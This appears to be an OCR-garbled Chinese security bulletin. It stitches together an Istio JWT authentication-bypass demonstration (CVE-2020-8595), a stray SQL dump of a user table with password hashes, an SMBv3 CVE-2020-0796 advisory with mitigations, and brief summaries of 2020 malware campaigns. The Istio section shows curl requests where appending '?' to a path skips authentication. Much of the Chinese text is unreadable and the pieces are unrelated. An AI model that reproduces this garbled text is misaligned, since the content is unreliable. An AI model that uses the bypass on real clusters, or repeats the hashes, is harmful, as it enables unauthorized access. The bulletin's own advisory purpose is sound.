hatrmet: © Dot oof) B Tkt ) M HE BRI O iring i
FEER: BALE (ERER) NARRTOFEE £ 1 i, oty
dmtrodection “HEMEAN SEwb o AE: Ranf R wswa spewtam”, pp_hone_page “Litna ol mellla coodgsoanin.
part: ", preject_homs_poge: “Ritpg e irhub, condsom Dl Realied "
path L e tag plwiom’,
pratacal
dimble 0

B3 R ERMR

BT ERHAES DI UEY, ZMiEMappiF4E RO R T RENIA]
ARE T appNBURER, FlWmAOS. BIFERGHRA. AR 28EE, XT
Rk & ARFW, PIReH AHILRRENGTT, TEAENEREIT, UTE
HREMNTE, BRIV AEERIstio, @id FRIWTEREEN” /apps” #H1T5
INE, BCEWT:

cat <<kOF | kubectl apply -n foo -f -
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apiVersion: "authentication.istio.io/vlalphal”
kind: "Policy"
metadata:
name: "jwt "
spec:
targets:
-name: web-test
origins:
- jwt:
issuer: "testing@secure.istio.io”
jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/
security/tools/jwt/samples/jwks.json”
trigger_rules:
-included_paths:
- exact: /apps
principalBinding: USE_ORIGIN
EOF
EEINE#HTINIP, BJUERINPIEN, IERIWTREEN T, T
P
root@node2:~# curl -v SINGRESS_HOST/apps/
*Trying 192.168.19.11...
*TCP_NODELAY set
* Connected t0 192.168.19.11 (192.168.19.11) port 31380 (#0)
>GET /apps/HTTP/1.1
>Host: 192.168.19.11:31380
> User-Agent: curl/7.58.0
> Accept: */*
>
<HTTP/1.1401 Unauthorized
< content-length: 29
< content-type: text/plain
<date: Thu, 07 Mar 2020 04:49:37 GMT
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<server: istio-envoy

<x-envoy-upstream-service-time: 0

DB EEMAZRIAA /apps?”

root@node2:~# curl -v SINGRESS_HOST/apps?

*Trying 192.168.19.11...

*TCP_NODELAY set

* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)

>GET /apps? HTTP/1.1

>Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

>

<HTTP/1.1 200 OK

<server: istio-envoy

<date: Thu, 07 Mar 2020 04:53:00 GMT

< content-type: application/json

<content-length: 29

<access-control-allow-origin: *

< access-control-allow-credentials: true

<Xx-envoy-upstream-service-time: 5

<

SILURRIThAIE), SEBRT IstiofIRIBIIA AR AN EE, TEREETLE
FELd IWTIAEH BRI REIRRF B BRVRE, #HmihnZElE applIsuE
B, —BRGEWEXERRERSNNBA 2R, ErERNMiL Efappit
1700, BAE], ERAEIEE.

U ERB— P ESENFRNATR, WKRBEH, FRAGEE R EENG
REFEPPRETITHERRER, WEEBEIERENEIsSshERIHEE
FHMMEAFEMR S, FrLlstioffBRRBRENBGET AT —RI], A
FECHNARFZ2MT ZREEN,
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B, BEFE

& B AINE N IR
B FtriggeRulesHRurl B RF R L ECHL A 2 -5 IE N ZRIA S,  FrAFRATR] LA &
TEMIFA LIRS
- jwt:
issuer: "testing@secure.istio.io”
jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/
security/tools/jwt/samples/jwks.json”
trigger_rules:
-included_paths:
-regex: '/productpage(\?7)?" #
-regex: '/productpage(#”)?" #
IHEIE M ZFRIATCH R path + query + fragment 52 ULEE, FATAI LI SRR T
Bl T
faexact B {E AN IEMULECHT 705 =~ ATRY SR BR MIBR
root@nodel:/home/puming/istio/istio-1.4.2/samples/httpbin# kubectl
delete policy.authentication.istio.io jwt-example -n foo
policy.authentication.istio.io "jwt-example” deleted
root@nodel:/home/puming/istio/istio-1.4.2/samples/httpbin# cat <<EOF |
kubectl apply -n foo -f -
> apiVersion: "authentication.istio.io/vlalphal®
> kind: "Policy"
> metadata:
> name: ‘jwt-example”
> spec:
> targets:

> -name: httpbin

> origins:
> - jwit:
> issuer: "testing@secure.istio.io"

\

jwksUri: "https://raw.githubusercontent.com/istio/istio/release-1.4/
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security/tools/jwt/samples/jwks.json”

> trigger_rules:

\

-included_paths:

\

-regex: '/ip(\?7)?'

> -regex: /ip(#X)?

> principalBinding: USE_ORIGIN

>EOF

policy.authentication.istio.io/jwt-example created

BiARliplsEEURL, WTFAR, HJUERARSIHIR[E401 Unauthorized?E
¢Bi51n), WRBIEMIULECAERY, /ip(#!)? IR, EEAR

root@node2:~# curl -v SINGRESS_HOST/ip?a=1

* Trying 192.168.19.11...

*TCP_NODELAY set

* Connected to 192.168.19.11 (192.168.19.11) port 31380 (#0)

>GET /ip?a=1HTTP/1.1

>Host: 192.168.19.11:31380

> User-Agent: curl/7.58.0

> Accept: */*

>

<HTTP/1.1401 Unauthorized

<content-length: 29

< content-type: text/plain

<date: Thu, 05Mar202007:02:58 GMT

<server: istio-envoy

< x-envoy-upstream-service-time: 0

® FARIstioE1.4.4M1.3.8U N FRIMRA

7N A

CVSSI¥N9.092(6], RAIEMTE, EEFBINNRLINEEN B EHRE
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ZrEBEMER, IRERNOIENE, HEAFOLUMBRIAR, NMasREaE
IIRPIREMIRIE. Wb B R, FUEESFHRXEBMRHNK, TKubernetesIFiz
T, BENETPodBIEA, BFPodNARs 2 (8A] LUBT Localhost B #81719],
FTU—BE—1RRKE, #MaFEiPodhNEERSE, NRZBRHNASRS,
AERIRENMENME, PIULRETERARSIFER R K.

t\ lh\gﬁ

CVE-2020-8595 % 1L Istiofy == BIEN B SSIHFLUIRE, HAIWTES
RIFEWPLELT 2 NRIE? EEBIITIWTHRS T EEIIWTASZRMEZN (N
ZERBIWTHSignaturedtsy) HBEZIREH, PRLUWTRAZ MR BT
A, BAAIstioBImTLSHIHI A LU RARSS e @R RE IR, EXEIWTRLE
ERLTI8? BEREEF—E, FEBRBIERERFIIBIWTERRERIDRIEF, 0
LWEHFRTLOEN, BEHCHEAEHEN, EHANFTENESERR
SEIRMEL, HIFRBAMmS, REXE, RITNARSS BRe.

@r

SE

[1] https://blog.christianposta.com/how-a-service-mesh-can-help-with-microservices-
security/

[2] http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

[3] https://istio.io/docs/reference/config/security/istio.authentication.vlalphal/#Jwt

[4] https://tools.ietf.org/html/rfc7517

[

https://istio.io/docs/tasks/security/authentication/authn-policy/#enable-mutual-tls-

4
5

[l e i e}

per-namespace-or-service
6] https://istio.io/news/security/istio-security-2020-001/
7] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8595
8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-8595
9] https://aspenmesh.io/aspen-mesh-1-4-4-1-3-8-security-update/
10] https://istio.io/docs/reference/config/security/istio.authentication.vlalphal/
11] https://gist.githubusercontent.com/nrjpoddar/62114128d12478abe8366404bf54
Tb77/raw/1475213902932cc157f49fc0584b8f231e887394 /check.sh

[12] https://istio.io/news/security
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Run SOL quer on dalabase ;

select * from 5_USER whers rownum <=10 H

Cuery#0 : select * from S_USER where rownum <=10

ACTORNO  ACTORMAME MNICKNAME  STATE PASSWORD STARTDATE PASSWVALL
VARCHARZ VARCHARZ VARCHARZ CHAR VARCHARZ CHAR CHAR
201300 MR 1 45D5ATEOB0S0E34B4BE2F2903ETI0FED

0201003 Fm o A1BBBE10E03D4DAS934FBCI17EBSS36

p2oiood ] 1 ABBB4DTESE0ER42FIBCCIIZ0BCEIDB0E

D201006 W ] 6159B7DEFST69CA684C350FF 25830860

D201007  FF 1 ADDBADEFBEECAS60A23043956062C346

0400600 T 1 3565302DTFCE485CC04T2D9665051134

D201008 1 SFTOTEFA2SE 1F2CA3ICFOSFBSECASFD

D201010 44 ] D2073844TFBE24322F507572EAS3F13D
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3R T B, HREe—%%
LIBEMEBLE T #EEITEMicrosoft
Server Message Block 3.1.1(SMBv3)
REE— MRS HITRA, D)
FAR %R R Y & Pl LA BARSMB
ARZ528 T SMBE i _EITHES, 1%
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528, HAGRAPERZRS S,
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Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems

Windows Server, version 1903 (Server Core installation)

O0o0o00o0ooad

Windows Server, version 1909 (Server Core installation)

=, BARBIPEE

3.1 ERRERE

3.1.1 Z2#%7T

MAEHBHNZEMTmAMm T K24 T KB4551762, BIENZE
MR B RS B EM AN T H TR

MTRRRLE, EARMIANT T,

https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
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TELZEF A/ ahEd LU FPowershellss
IHRE, XSMBV3 Server#HTIamfar:

R A SMBV3FRIESE

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\
LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -

Force
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1 USSR EEE RN AN,
2. DL e SN Bl LUA IR B3R5 S SMBARSS 22 (SMB SERVER) B9

i, WHELRZ R UAMBIZF R ESMBE A% (SMB Client) -
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STBMARVIE SRR
https://support.microsoft.com/
en-us/help/3185535/preventing-
smb-traffic-from-lateral-connections
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AL
ZHRBESENMRE S
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https://portal.msrc.microsoft.
com/en-US/security-guidance/
advisory/CVE-2020-0796
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NERMARZ(IDS). R—EANIRE
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http://update.nsfocus.com/
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http://update.nsfocus.com/
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IDS 5.6.10.22154. 5.6.9.22154
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& RSAS VOB T EER::

http://update.nsfocus.com/update/downloads/id/103169

F: “Microsoft SMBV3IZZAZ AT TIRIE (CVE-2020-0796) [RIB{34E] ~
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& DS FERE TR R
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http://update.nsfocus.com/update/downloads/id/103168

5.6.9.22154

http://update.nsfocus.com/update/downloads/id/103167

& UTS AR B T EHER::

http://update.nsfocus.com/update/downloads/id/103172

3.2.2 ZBRRERIPE~ @

ERFEBEKGIFEm, NEHIFRS (IPS) R#EHITH.
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http://update.nsfocus.com/update/listips

32.2.1 BpiRF AR B/ AN AR A S

PP FoRE | SNBSS

IPS 5.6.10.22154. 5.6.9.22154 24763

& |PS MMFLRE 2.

5.6.10.22154
http://update.nsfocus.com/update/downloads/id/103168
56.9.22154
http://update.nsfocus.com/update/downloads/id/103167
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1. Windows SMBv3 itt2 NS 1T RFRAIF A &

JbREtE]3 A 11 H, HEAAET 3 A2 TEH, HPEa—%%e
BEMAEDSE T METE Microsoft Server Message Block 3.1.1(SMBv3) 17 7E
—MERREHITRR, IR AIZRAR B G E B LAE B4R SMB ARSS888%
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http://blog.nsfocus.net/poc-smbv3-0603/
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https://securelist.com/cycldek-bridging-the-air-gap/97157/

5. Linux 0 ADi&d Kubernetes AN\ 1&

[#B53R)
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MYBEE. % 7. ¥ EIGIFI0EE. R Linux 20 KRS EEIAEI(R
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€335
https://s.tencent.com/research/report/1003.html
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735

TERET R BEEMIBR AR, RN T —HABRETAMBRNEE
&, HBEFTE HTTP IBREHM User-Agent FERFERBEAR: “Abcd” ,
FERREMS ML BEBNIMGEE RS, XERHEM 5 AnHIVEERE
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HIEREAR 19178, ZRMPVYIENZ =615 AXIS B5
ipTIME F&HH28 LA ZF07F1E DNS

%, EHEARSATIRE
ko LB GL. TVT Gk LILIN DVR.
HFEFRAN RS
(& 55%]
http://blog.nsfocus.net/

12. §33 Github & Java BN ERKE

(#6EiR])

2020 &£ 5 A 28 H, Github £2HNAFR T XEM Github EFE—4H
RIBECEEER ST RR T EERENARIE (https://securitylab.github.

com/research/octopus- scanner-malware-open-source-supply-chain), X

FEREEARELRNE, FREMARNEMSIH. 2RHEER
THHNELBEAFRMENF LA BRI L AREHE IDE(SE
A RINR), LOREIEARZARHLZBFETMEENE & BRHREN. B

AIRE, ZHMEERFXT JAVATIE,

(&E 5]
http://blog.nsfocus.net/github-ocs-0605/

13. TA410 AR FIAEE M FlowCloud $H3tEEARE IR

s

(#A]

TA410 BRORRRSTEE AR VIREEARNEN GBS, WK E
DUEIIFIAIE N = BB R0 E, B EE R GMAEsE R ER
B9 Microsoft Word S #4{&##&E RIUAIHRE LR FlowClouds FlowCloud &=
WG RIE AR bR, EXENNERE F. BE. RE. Xt
ARSI S SRR IAIAThEE, F C&CEHRIES.

Eﬁkﬁxx

(&51E%]

https://www.proofpoint.com/us/blog/threat-insight/ta410-group-

behind- lookback-attacks-against-us-utilities-sector-returns-new

14. Gamaredon 4427/
Outlook B¢ % & R iR {4

[#1A]

Gamaredon HEHRTEIXTY
SR=ZMM, EREERERER
AR EERENIE Office XALHTH

EMT R, XETEANEZEEN
Microsoft Office IBINEHHVER R A &

EEBYABFEY, STMZREREMN
AFPUERRE BHH— T HHE,
FTERTHE FREENENTE
IRILEFR R P] RE IR E 4K

[&E5%E]
https://www.welivesecurity.
com/2020/06/11/gamaredon-group-

grows-its-game/

15. Dark Basin 427 &1k
RINKMIEME BN T

€735

Dark Basin 28— UUNENER
NEFHD, BEREHAZ ANV
TPAMBEERYN, BFEFHE
#THEE. RENERABNER, &
AN E M2 M7k, Dark Basin 4
L0833 Cmail (kP A BB FE
BEfREEE SR EENNETNEE
TR, FHEMER URL B kEE
Namh, HENEHITBIRIE,

[&E5%E]
https://citizenlab.ca/2020/06/
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dark-basin-uncovering-a-massive-

hack-for-hire- operation/

16. Valak BERMHEERT
pra bk NG

[(#R]

Valak 2E TR AR Z M EIK
BYH, ZRHEdmORE URL
H B FEE G HITE &,
FREX MM ARG E, RS
s Valak BRI MK A&
BTHi, H RETFHHEIEER S
CLIENTGRABBER A F M A z=+
BHEX B TR,

(B 551%]
https://labs.sentinelone.com/
valak-malware-and-the-connection-

to-gozi-loader- confcrew/

17. Kingminer {2 M%F]
BAHugr T RS %R 1

735

Kingminer 333 XJ SQL Server By
FEF 2 /25K EternalBlue SRiR#H T
B8, ERARR B AHIE
NI RIEERNINS, HE/FA
SRR RIS B CRR, B
RINES & XMRig B HTLEI A,

(&£ 5]
https://news.sophos.com/en-
us/2020/06/09/kingminer-report/
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18. Tor2Mine AR &FE AZORult FEZ M

(#8E5R]

Tor2Mine 2—"PLURMHIMB DI EERNEMEZAVAR, ZAR
FASEEMES DM, SEEEFIEENG AZORult, EEIHFRTLA
Remcos, DarkVNC /I JARS A BIMhiR RIINZ 5 & 55 AR E E R EEY
R 25

C4:35)

https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-
tricks-and_11.html

19. EKANS EhZRIRMH 53t TALiEHI RS

(#75R]

EKANS S8hRIHTE 2020 &£ 1 BE AT, ITHEARI EKANS £ Tk
EHIZS ICS B W EEE), Honda # Enel EX1AT @B¥I=EIEMH,

(BEHkiE]

https://blog.malwarebytes.com/threat-analysis/ 2020/06/honda-and-

enel- impacted-by-cyber-attack-suspected-to-be-ransomware/

20. RagnarLocker B1IEMH LRI AR

(#15R]

RagnarLocker $/RMHMRIBE/], USLAREBEHITHE, EfR2
X E R LUNERN PRE X HIIZEFHTER. 187 RagnarlLocker SR
FHEWAF, RAEEXRIRIT 1100 HETHEEIREAMEM AT HE
=8

(S5 5]
https://www.mcafee.com//blogs/other-blogs/mcafee-labs/ragnarlocker-

ransomware-threatens-to-release-confidential-information/

21. Phorphiex/Trik {EF M4 5 R ENZREH Avaddon

(3R]
ITHRE Phorphiex/Trik P W4 EsNH, WGEFNBHEHT D LER



NSFOCUS

ReTH

P Avaddon, REZEBIEFVSSENENXHT BE N.avdn, HERE EE
TERXH, EEE—ME NIE, LsISREEH P REEEE.
(&% HEE)
https://appriver.com/resources/blog/june-2020/phorphiextrik-botnet-

delivers- avaddon-ransomware

22. Higaisa AAAFERAEE LNK XHsxhERF

[#EiR]

Higaisa ARSI FERFEHAEEBRER INK XHEHEERG
1], BBABLE N Internet (RIEBF XS POF XHF R T, HEEEHRITERE
N BTGRP, ZE NMERERNIETERAR, X2,

[(&E %]
https://www.zscaler.com/blogs/research/return-higaisa-apt

23. QakBot L@ ML I B P (EHE

(#15A]

QBot AS, tB¥#FA QakBot, Eidm A MS Office Word XASRIM LI BT
BOAHAT (548, HERILBRBRERIE ST IR 2SR ST s fSm
%, EEELHE B SR SRR T ERT A o T2 RRERTE,

[(&E %]

https://www.fortinet.com/blog/threat-research/deep-analysis-of-a-gbot-

campaign-part-1

24. Operation In(ter)ception $3¥E1Z ME=MAFNEFE L F IR
&

G735

Operation In(ter)ception 1TENRBEE B INIERY LinkedIn 1kF, EFALT
FRFAERS T AMEZAEHN HR AR, UARRUNFRESAFEQBRA
BRI HAERENME, HAREEIE B TIEEEREORE BT ZES
AYEBF BB AR bk 7 FRF o
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[&E %]
https://www.welivesecurity.com/2020/06/17 /operation-interception-

aerospace- military-companies-cyberspies/

25. WEHEHWRERBCERD 2 R LI ER

[#Fid]

WHEMARFEERY COVID-19 KT U RSEER E Mt 5 B R S BGERN
M2IKEER B ARE R AR, F AR EZEAN L AR VRBYE RS
WO ER AL IEES, AME N AT RN LUERE Trickbot BEAMF, It
RBATERBEREHAYS “EEEREAZE FHRTEIBRIA.

(&£ 55%]
https://www.fortinet.com/blog/threat-research/global-malicious-spam-

campaign-using-black-lives-matter-as-a-lure

26. InvisiMole AR ¢+ X ARERE F &R IF I3 EH]

[(#7iA]

InvisiMole BEE T B8 X B FHMFFHIT D L BB R, FIB RDP X
1 BlueKeep & 7B, SMB MY EternalBlue S/ BFIEAAR S TR i Zoik
R =MAE A TERE, 3 £/ DNS BB AREN, IR BEHE XY RRR
HZEEEL IR INAEH,

(&£ 5]

https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-

hidden- arsenal/

27. M ARENBRE SRS [ERFEENERK G

(15E5R]

WEENAEANERRRESR, BIBFHERTRAREINZ2D
AR T XM& A “ ElfiRiE K .doc” BUEEIREX . WA ERE
XD, REEHE EENER BRER, BWaEeIRFEAL, FEEA
DKMC 1E2R =i 0E o
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https://www.zscaler.com/
blogs/research/targeted-attack-
leverages-india-china- border-

dispute-lure-victims

28. BITTER A& FI H
Google Play 3 4 B EEFXT
52 5 (i

(#8FiA]

BITTER B@— M HITTXIRE.
EBEMBFE AT AEEIRY APT
AR, MHZALRLURBEEAENE
iR, BT ENEERNFRRI=2E5
O HEXNONAER, UKREIN
A EFNBRATED R BRI,

C 335

https://www.bitdefender.com/
files/News/CaseStudies/study/352/
Bitdefender-PR- Whitepaper-
BitterAPT-creat4571-en-EN-
GenericUse.pdf

29. Office 365 MEHI&EE
ahii A Adobe Campaign EE
A4

(#EiR]

Yo 2B N B A2 B9 B F HE A AR
S RIENIREY, AR R EEBETF
MBAHRAN— 1 RHE, BI=2
B E E M EI9EEAY Office 365 FR
NMHEHNNENENH, WkEhS
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Adobe Campaign EE MG, FEGEZ 2PHERIRN, R IEFXTRR
M INFIR RS
EE3i3)
https://research.checkpoint.com/2020/phishing-campaign-exploits-

samsung- adobe-and-oxford-servers/

30. ZMER APT A Cobalt Strik B9 Malleable C2 IhgE

(183 ]

WEHEEBIBXANBSHNE B FH4HD L NEMEHEE Word X
1Y, ZoUEEBER SEAMIBR T Net Loader, HEMHR T Cobalt Strike BY
Malleable C2 THEER T &R BE A H 1T C2 1815

(&E 5]

https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-

apt-attack- drops-cobalt-strike-using-malleable-c2-feature/

31. AcidBox BEHMHEF A VirtualBox IEEhiE KR XIH
THR

(#EiR]

AcidBox 2 —1MERRERUTEE, ®ATEARIIE. EITH
WEENH AcidBox BRI A EM VirtualBox XEhEFIRF CVE-2008-
3431 KEF Windows RYIRE) I2F 51T, B THRE AL,

(&54#%]

https://unit42.paloaltonetworks.com/acidbox-rare-malware/

32. 3R AFIL B FFF B BRI T 5E DD

(#8FiR]

WHEBNMBTF LGRS, BT EARERRAR Telerik Ul ERIE
EABHRITRRE, REsIHRANI B EBINER &EE,. WEE KR
SEEAMTSRIDRENAMES, Web Shell MIEMRARLFFABRNTE,

233

https://www.cyber.gov.au/threats/advisory-2020-008-copy-paste-

compromises- tactics-techniques-
and-procedures-used-target-

multiple-australian-networks

33. IEEFIA NetWire ]
RIS ENE AR &

(18R]

ITHRE W & S XY ENE LA A
T BIm. FEMNFEITIFE L)
BXYAMENERE, B ILRXE
R EENB TGS 2P A
EANIENENH NetWire, —ERF
PlXEE R, KR EE BRI
NetWire, LUBIFBARITEAN K LD
HAT M@,

[&E&45%]

https://www.amnesty.org/
en/latest/research/2020/06/
india-human-rights- defenders-
targeted-by-a-coordinated-spyware-

operation/

34. MASERHEF#HT dl
EIFFRYIE & D

[#F5A]

AN EE R E R
AR & 20N AER CrystalBit A
Apple B9 dIl WEH) FFHEHEEN—
oy, S EREMEEEREHTT
wge, HENETNVARFNEGEER
® IREZNEIER, RLRAREED
RIZH 2.
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[&E k]
https://blog.morphisec.com/crystalbit-apple-double-dll-hijack

35. IHEEFIHE FabulaTech JB5A{HE USB i8&

[#BF5R ]

FabulaTech #¥F AN AIZE USB 8B EHEITIESIEN S, 8
Hhp) R4 SHIEE YRR PRI 221 USB 8. EES
ERZRAERL S ST FIRFS, 8] LIRS SATTEE S 8T
IRIE,

(&£ 55%]
https://labs.sentinelone.com/click-from-the-backyard-cve-2020-9332/

36. FTCode BRI i@ 1t MR 1415 4%

[#Fi]

FTCode BEMM B IRAMHITEHE, MIRBTFHEEEERERE, B R
THEEETE MEEERIR. FTCode AILIFREX Thunderbird A0 Outlook EB-FHB
HE im0 Chrome.  Internet Explorer A FireFox ¥ ¥ 2889 &,

43

https://cert-agid.gov.it/news/campagna-massiva-jasperloader-veicola-

ftcode- via-pec/
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